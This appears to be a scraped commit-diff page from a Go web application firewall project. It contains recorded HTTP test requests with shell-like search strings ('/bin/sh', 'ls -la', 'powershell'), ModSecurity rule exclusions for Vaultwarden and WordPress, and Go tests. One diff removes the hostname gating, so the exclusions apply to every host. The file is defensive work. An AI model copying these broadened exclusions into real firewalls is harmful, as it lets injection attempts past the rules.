{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/codemirror-----------------.850d6e6e.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/codemirror.f4be46b8.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
@@ -468,3 +677,7 @@
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?q=ls+-la&tab=repositories&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice?tab=repositories", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=ls+-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
+11
View File
@@ -91,6 +91,17 @@
/explore/organizations?q=docker-ci
/api/v1/users/search?q=docker-ci
# Searches of the repositories on a user's and an organisation's page, recorded
# from gitea 1.27.3.
/alice?tab=repositories&q=ls+-la&sort=recentupdate
/alice?tab=repositories&q=python3&sort=recentupdate
/alice?tab=repositories&q=powershell&sort=recentupdate
/alice?tab=repositories&q=.htaccess&sort=recentupdate
/acme?q=ls+-la&sort=recentupdate
/acme?q=python3&sort=recentupdate
/acme?q=powershell&sort=recentupdate
/acme?q=.htaccess&sort=recentupdate
# Pages, raw files and edit pages of files, and the API's call for their
# contents.
/owner/repo/src/branch/main/package.json
+1 -10
View File
@@ -1,4 +1,4 @@
# Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that
# The thirteenth change: on Vaultwarden's paths, some fields skip the rules that
# refused ordinary Vaultwarden requests there. They are the fields where
# Vaultwarden receives a name, a password hint or an email address in plain
# text, and the names of uploaded files. Each exclusion runs with the request,
@@ -17,13 +17,6 @@
# 932250: ls -la
# 932260: python3
# Unless SWW_APPS lists vaultwarden for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_vaultwarden when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_vaultwarden itself.
SecRule &TX:app_vaultwarden "@eq 0" \
"id:900140,phase:1,pass,nolog,skipAfter:END_VAULTWARDEN"
# Names and password hints, in JSON bodies, skip the four rules:
# name: signing up, editing the account's profile, and creating or renaming
# an organization or a group, "python3 .htaccess team"
@@ -131,5 +124,3 @@ SecRule REQUEST_FILENAME "@rx ^/admin/?$" \
ctl:ruleRemoveTargetById=942540;ARGS:token,\
ctl:ruleRemoveTargetById=942550;ARGS:token,\
ctl:ruleRemoveTargetById=944150;ARGS:token"
SecMarker END_VAULTWARDEN
+134 -41
View File
@@ -9,8 +9,6 @@ import (
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -31,21 +29,6 @@ const (
// vaultwardenEmail is a JSON body that sends an address in email.
const vaultwardenEmail = `{"email":"VALUE"}`
func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"vaultwarden"},
})
// An address for the data breach report, which only Vaultwarden's fixes
// let through.
report := get(vaultwardenBreachReport + "python3%40example.com")
wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(report, giteaHost), matched(932260))
}
// vaultwardenField is a field Vaultwarden receives in plain text: the
// request that sends it, and its body, with VALUE where the field's value
// goes.
@@ -85,18 +68,53 @@ var vaultwardenNameFields = []vaultwardenField{
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
},
{http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`},
{http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`},
{
http.MethodPut,
vaultwardenProfile,
jsonBody,
`{"name":"VALUE","culture":"en-US"}`,
},
{
http.MethodPost,
vaultwardenPassword,
jsonBody,
`{"masterPasswordHint":"VALUE"}`,
},
{
http.MethodPost, "/api/organizations", jsonBody,
`{"name":"VALUE","billingEmail":"billing@example.com"}`,
},
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
{http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`},
{http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`},
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`},
{http.MethodPost, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
{http.MethodPut, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
{
http.MethodPost,
vaultwardenOrganization + "/groups",
jsonBody,
`{"name":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"invitation_org_name":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"smtp_from_name":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSecurityKey,
jsonBody,
`{"id":1,"name":"VALUE"}`,
},
{
http.MethodPut,
vaultwardenSecurityKey,
jsonBody,
`{"id":1,"name":"VALUE"}`,
},
}
// vaultwardenAddressFields hold every field of a body that skips 930120,
@@ -108,8 +126,18 @@ var vaultwardenAddressFields = []vaultwardenField{
http.MethodPost, "/identity/connect/token", formData,
"grant_type=password&username=VALUE&password=example&scope=api+offline_access",
},
{http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail},
{http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`},
{
http.MethodPost,
"/identity/accounts/prelogin/password",
jsonBody,
vaultwardenEmail,
},
{
http.MethodPost,
vaultwardenSignUp,
jsonBody,
`{"email":"VALUE","name":"Alice"}`,
},
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
{
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
@@ -123,34 +151,84 @@ var vaultwardenAddressFields = []vaultwardenField{
http.MethodPost, vaultwardenPassword, jsonBody,
`{"authenticationData":{"salt":"VALUE"}}`,
},
{http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`},
{
http.MethodPost,
vaultwardenPassword,
jsonBody,
`{"unlockData":{"salt":"VALUE"}}`,
},
{
http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
},
{http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail},
{http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`},
{
http.MethodPost,
"/api/accounts/password-hint",
jsonBody,
vaultwardenEmail,
},
{
http.MethodPost,
"/api/accounts/email-token",
jsonBody,
`{"newEmail":"VALUE"}`,
},
{
http.MethodPost, "/api/emergency-access/invite", jsonBody,
`{"email":"VALUE","type":0}`,
},
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`},
{
http.MethodPut,
vaultwardenOrganization,
jsonBody,
`{"billingEmail":"VALUE"}`,
},
{
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
`{"emails":["alice@example.com","VALUE"],"type":2}`,
},
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`},
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_username":"VALUE"}`},
{http.MethodPost, vaultwardenSettings, jsonBody, `{"org_creation_users":"VALUE"}`},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"smtp_from":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"smtp_username":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"org_creation_users":"VALUE"}`,
},
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
{http.MethodPost, "/api/two-factor/send-email-login", jsonBody, vaultwardenEmail},
{http.MethodPost, "/api/two-factor/send-email", jsonBody, vaultwardenEmail},
{
http.MethodPost,
"/api/two-factor/send-email-login",
jsonBody,
vaultwardenEmail,
},
{
http.MethodPost,
"/api/two-factor/send-email",
jsonBody,
vaultwardenEmail,
},
{
http.MethodPut, "/api/two-factor/email", jsonBody,
`{"email":"VALUE","token":"123456"}`,
},
{http.MethodPost, "/api/auth-requests", jsonBody, `{"email":"VALUE","type":0}`},
{
http.MethodPost,
"/api/auth-requests",
jsonBody,
`{"email":"VALUE","type":0}`,
},
}
// vaultwardenBreachReport is the data breach report, which sends an address
@@ -273,7 +351,12 @@ func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
got, _ := inspectBody(t, crs, r, refused.body)
if got.Score < vaultwardenThreshold {
t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got)
t.Errorf(
"POST %s %s let through: %+v",
refused.target,
refused.body,
got,
)
}
}
@@ -309,7 +392,8 @@ func TestVaultwardenAdminTokenPasses(t *testing.T) {
func masterPasswordHashes(count int) []string {
const size, seed = 32, 288
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
//nolint:gosec // a fixed sample
random := rand.New(rand.NewPCG(seed, seed))
hashes := make([]string, count)
@@ -357,8 +441,15 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
}
if got, _ := inspectBody(t, crs, sent.r, body); len(got.RuleIDs) != 0 {
t.Errorf("POST %s %v set off rules: %+v", sent.r.target, sent.names, got)
if got, _ := inspectBody(t, crs, sent.r, body); len(
got.RuleIDs,
) != 0 {
t.Errorf(
"POST %s %v set off rules: %+v",
sent.r.target,
sent.names,
got,
)
}
}
}
@@ -367,7 +458,9 @@ func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=")
encrypted := vaultwardenUpload(
"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=",
)
for _, target := range []string{
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
+1 -10
View File
@@ -1,17 +1,10 @@
# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
# The ninth change: on WordPress's paths, some fields skip the rules that refused
# ordinary WordPress requests there. Each exclusion runs with the request, before
# the rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused. An exclusion on a field
# of a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_BODY_LIMIT is set.
# Unless SWW_APPS lists wordpress for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_wordpress when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_wordpress itself.
SecRule &TX:app_wordpress "@eq 0" \
"id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
# WordPress takes a call to its REST API at any of four addresses:
# /wp-json/wp/v2/posts/1
# /index.php/wp-json/wp/v2/posts/1
@@ -322,5 +315,3 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$"
# so skips 932340 there.
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
SecMarker END_WORDPRESS
+5 -1
View File
@@ -236,7 +236,11 @@ func read(path string) (*maxminddb.Reader, error) {
reader, err := maxminddb.OpenBytes(data)
if err != nil {
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
return nil, fmt.Errorf(
"SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w",
path,
err,
)
}
return reader, nil
+46 -13
View File
@@ -26,11 +26,21 @@ const (
testClient = "203.0.113.9/32"
)
func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T) {
func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(
t *testing.T,
) {
t.Parallel()
germany := lookuptest.Network{ASN: "AS64496", ASName: "Example Net", Country: "DE"}
northKorea := lookuptest.Network{ASN: "AS64511", ASName: "Other Net", Country: "KP"}
germany := lookuptest.Network{
ASN: "AS64496",
ASName: "Example Net",
Country: "DE",
}
northKorea := lookuptest.Network{
ASN: "AS64511",
ASName: "Other Net",
Country: "KP",
}
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
lookuptest.Write(t, path, map[string]lookuptest.Network{
testNetblock: germany,
@@ -62,7 +72,13 @@ func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T)
Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
Answered: now,
}) {
t.Errorf("%s has the answer %+v, want %+v, answered %s", client, got, want, now)
t.Errorf(
"%s has the answer %+v, want %+v, answered %s",
client,
got,
want,
now,
)
}
}
}
@@ -122,7 +138,9 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
// reading due by then is done. The test sends the changes itself, as the
// watch of a directory cannot run in a bubble.
func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
@@ -137,7 +155,8 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
other := filepath.Join(dir, "replacement.mmdb")
writeDatabase(t, other, "KP")
replacement, err := os.ReadFile(other) //nolint:gosec // a file the test wrote
//nolint:gosec // a file the test wrote
replacement, err := os.ReadFile(other)
if err != nil {
t.Fatalf("read %s: %v", other, err)
}
@@ -176,15 +195,20 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
wantCountry(t, f, "KP")
if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 {
t.Errorf("read at %s, with %d failures; want read now, with none",
f.LastRead(), f.ReadFailures())
t.Errorf(
"read at %s, with %d failures; want read now, with none",
f.LastRead(),
f.ReadFailures(),
)
}
wantAlerts(t, queue)
})
}
func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T) {
func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
@@ -206,8 +230,12 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T)
wantCountry(t, f, "DE")
if !f.LastRead().Equal(read) || f.ReadFailures() != 1 {
t.Errorf("read at %s, with %d failures; want read at %s, with one",
f.LastRead(), f.ReadFailures(), read)
t.Errorf(
"read at %s, with %d failures; want read at %s, with one",
f.LastRead(),
f.ReadFailures(),
read,
)
}
wantAlerts(t, queue, alerts.Alert{
@@ -289,7 +317,11 @@ func writeDatabase(t *testing.T, path, country string) {
t.Helper()
lookuptest.Write(t, path, map[string]lookuptest.Network{
testNetblock: {ASN: "AS64496", ASName: "Example Net", Country: country},
testNetblock: {
ASN: "AS64496",
ASName: "Example Net",
Country: country,
},
})
}
@@ -349,7 +381,8 @@ func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) {
t.Helper()
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != len(want) || (len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
if len(waiting) != len(want) ||
(len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
t.Errorf("alerts waiting %+v, want %+v", waiting, want)
}
+22 -6
View File
@@ -211,7 +211,10 @@ func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
// LookUpWithoutWaiting is LookUp for a request that does not need the answer,
// whatever Wait says: it returns the zero Answer at once when none is kept.
func (g *GeoJS) LookUpWithoutWaiting(ctx context.Context, client netip.Prefix) Answer {
func (g *GeoJS) LookUpWithoutWaiting(
ctx context.Context,
client netip.Prefix,
) Answer {
answer, _ := g.answerOrWait(ctx, client, false)
return answer
@@ -429,14 +432,21 @@ func (g *GeoJS) keep(
}
if err == nil && leftOut > 0 {
err = fmt.Errorf("%w %d of %d addresses", errLeftOut, leftOut, len(clients))
err = fmt.Errorf(
"%w %d of %d addresses",
errLeftOut,
leftOut,
len(clients),
)
}
if err != nil {
g.metrics.GeoJSFailures.Inc()
g.retryDelay = min(max(retryDelayFactor*g.retryDelay, firstRetryDelay),
maxRetryDelay)
g.retryDelay = min(
max(retryDelayFactor*g.retryDelay, firstRetryDelay),
maxRetryDelay,
)
g.retryAt = now.Add(g.retryDelay)
g.asking = false
@@ -482,7 +492,12 @@ func (g *GeoJS) request(
ctx, cancel := context.WithTimeout(ctx, g.timeout)
defer cancel()
req, err := http.NewRequestWithContext(ctx, http.MethodGet, g.url, http.NoBody)
req, err := http.NewRequestWithContext(
ctx,
http.MethodGet,
g.url,
http.NoBody,
)
if err != nil {
return nil, fmt.Errorf("make the request to GeoJS: %w", err)
}
@@ -514,7 +529,8 @@ func (g *GeoJS) request(
CountryCode string `json:"country_code"`
}
err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).Decode(&answers)
err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).
Decode(&answers)
if err != nil {
return nil, fmt.Errorf("read GeoJS's answer: %w", err)
}
+78 -18
View File
@@ -85,8 +85,13 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
began := time.Now()
answer := g.LookUpWithoutWaiting(t.Context(), client)
if waited := time.Since(began); waited != 0 || answer != (lookup.Answer{}) {
t.Errorf("got %+v after %s, want no answer at once", answer, waited)
if waited := time.Since(began); waited != 0 ||
answer != (lookup.Answer{}) {
t.Errorf(
"got %+v after %s, want no answer at once",
answer,
waited,
)
}
waitForRequests(t, geojs, 1)
@@ -100,7 +105,11 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
waitForCountry(t, g, clock, client, germany)
if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
t.Errorf("the kept answer gives the country %q, want %q", got, germany)
t.Errorf(
"the kept answer gives the country %q, want %q",
got,
germany,
)
}
})
}
@@ -120,7 +129,9 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
var earlier sync.WaitGroup
earlier.Go(func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) })
earlier.Go(
func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) },
)
defer earlier.Wait()
waitForRequests(t, geojs, 1)
@@ -152,7 +163,9 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
})
}
func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing.T) {
func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
@@ -197,7 +210,11 @@ func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing
synctest.Wait()
if waited != longerTimeout {
t.Errorf("waited %s for the answer, want %s", waited, longerTimeout)
t.Errorf(
"waited %s for the answer, want %s",
waited,
longerTimeout,
)
}
wantFailures(t, m, 1)
@@ -340,7 +357,11 @@ func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes(
got := g.LookUp(t.Context(), client)
if took := time.Since(began); took != 0 || got != (lookup.Answer{}) {
t.Errorf("waited %s for %+v, want no wait and no answer", took, got)
t.Errorf(
"waited %s for %+v, want no wait and no answer",
took,
got,
)
}
waitForRequests(t, geojs, 1)
@@ -391,7 +412,10 @@ func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) {
logged := log.String()
if !strings.Contains(logged, "asking GeoJS failed") ||
strings.Contains(logged, "203.0.113.9") {
t.Errorf("logged %q, want the failure without the address asked about", logged)
t.Errorf(
"logged %q, want the failure without the address asked about",
logged,
)
}
})
}
@@ -430,7 +454,10 @@ func TestFailureRaisesASourceFailureAlertOncePerCooldown(t *testing.T) {
}
if queue.Suppressed() != 1 {
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
t.Errorf(
"%d alerts held back, want the repeat",
queue.Suppressed(),
)
}
})
}
@@ -454,11 +481,21 @@ func TestWaitingClientsAreAskedAboutInOneRequest(t *testing.T) {
clock.advance(time.Second)
wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany)
wantRequests(t, geojs, 2)
wantAsked(t, geojs, 1, "203.0.113.1", "203.0.113.2", "2001:db8:1:2::", "203.0.113.3")
wantAsked(
t,
geojs,
1,
"203.0.113.1",
"203.0.113.2",
"2001:db8:1:2::",
"203.0.113.3",
)
})
}
func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing.T) {
func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
@@ -503,7 +540,10 @@ func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing
asked := waitForRequests(t, geojs, requests+1)
